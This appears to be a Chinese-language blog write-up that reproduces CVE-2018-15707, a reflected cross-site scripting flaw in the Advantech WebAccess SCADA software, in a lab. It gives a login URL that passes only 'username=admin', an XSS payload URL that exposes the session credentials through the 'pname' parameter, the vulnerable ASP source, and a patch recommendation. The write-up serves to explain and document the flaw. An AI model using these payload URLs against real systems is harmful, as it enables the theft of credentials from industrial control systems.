Advantech WebAccess 跨站脚本漏洞:CVE-2018-15707 复现

发布于 2025-12-01 19:35:48 字数 3179 浏览 4 评论 0

Advantech WebAccess 是中国台湾研华(Advantech)公司的一套基于浏览器架构的 HMI/SCADA 软件,该软件支持动态图形显示和实时数据控制,并提供远程控制和管理自动化设备的功能。

Part1 漏洞状态

漏洞细节漏洞 POC漏洞 EXP在野利用

Part2 漏洞描述

Advantech WebAccess 8.3.1 版本和 8.3.2 版本以及之前版本中由于未对' pname '参数进行验证或过滤导致 Bwmainleft.asp 页面存在跨站脚本漏洞,远程攻击者可利用该漏洞获取登录凭据。

v2-d53f7ec160e98cd1782af93f99ba9171_720w.jpg

漏洞名称Advantech WebAccess 跨站脚本漏洞
CVE 编号CVE-2018-15707
漏洞类型跨站脚本漏洞
漏洞等级中危(5.4)
公开状态公开
时间线2018.08.22 CVE 分配 2018.10.22 研华发布 WebAccess 8.3.3 修复漏洞

Part3 复现环境

1. 实验环境

渗透主机:Win10(192.168.33.1)

目标主机:winserver2008R2(192.168.33.139)

软件版本:Advantech WebAccess 8.2

2. 涉及工具

MozillaFirefox

3. 复现步骤

启动环境,目标主机启动,如下图:

v2-71581d5e5f497d59c61e9bfe0292ee84_720w.jpg

攻击者通过渗透主机 Mozilla Firefox 访问如下 url,登录系统。

http://192.168.33.139/broadWeb/bwconfig.asp?username=admin

攻击者通过渗透主机 Mozilla Firefox 访问如下 url。

http://192.168.33.139/broadweb/bwmainleft.asp?pid=1&pname=%22 );alert(document.getElementsByTagName(%27script%27)[4].text);//

v2-790b333dad72dbc898acb52f83bda0e2_720w.jpg

Part4 漏洞分析

通过分析代码发现在 broadweb/bwmainleft.asp 中存在一个反射型跨站脚本漏洞,因为'pname '参数没有被验证或过滤。此外,活动会话的凭据被写入 HTML 源代码中,可以由 JavaScript 客户端访问。

… snip …
pname = Request.QueryString("pname")
 … snip …
 username = session("UserName")
'get the password if admin
if username = "admin" then
  sql = "SELECT * FROM pUserPassword WHERE UserName='" + username + "'"
else
  sql = "SELECT * FROM pAdmin WHERE UserName='" + username + "'"
end if
dbTab.open sql,cfgConn,3,2,1
  'get the password from database based on the user name, note that only admin can actually log into dashboard here
if not dbTab.eof then
  set tWAObj = Server.CreateObject("webdobj.webdraw")
  GetUserPwdField dbTab, tWAObj, UsrArr
  'get the password from db
  pwd = UsrArr(0)
  %>
    <script>
      //Logon the webservice to use all other webservices
      logOnWebService("<%=username%>", "<%=pwd%>");
      readNodeStatus("<%=username%>", "<%=pwd%>","<%=pname%>");
    </script>
… snip … 

Part5 修复建议

升级到研华 WebAccess 8.3.3 或更高版本。

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据
我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。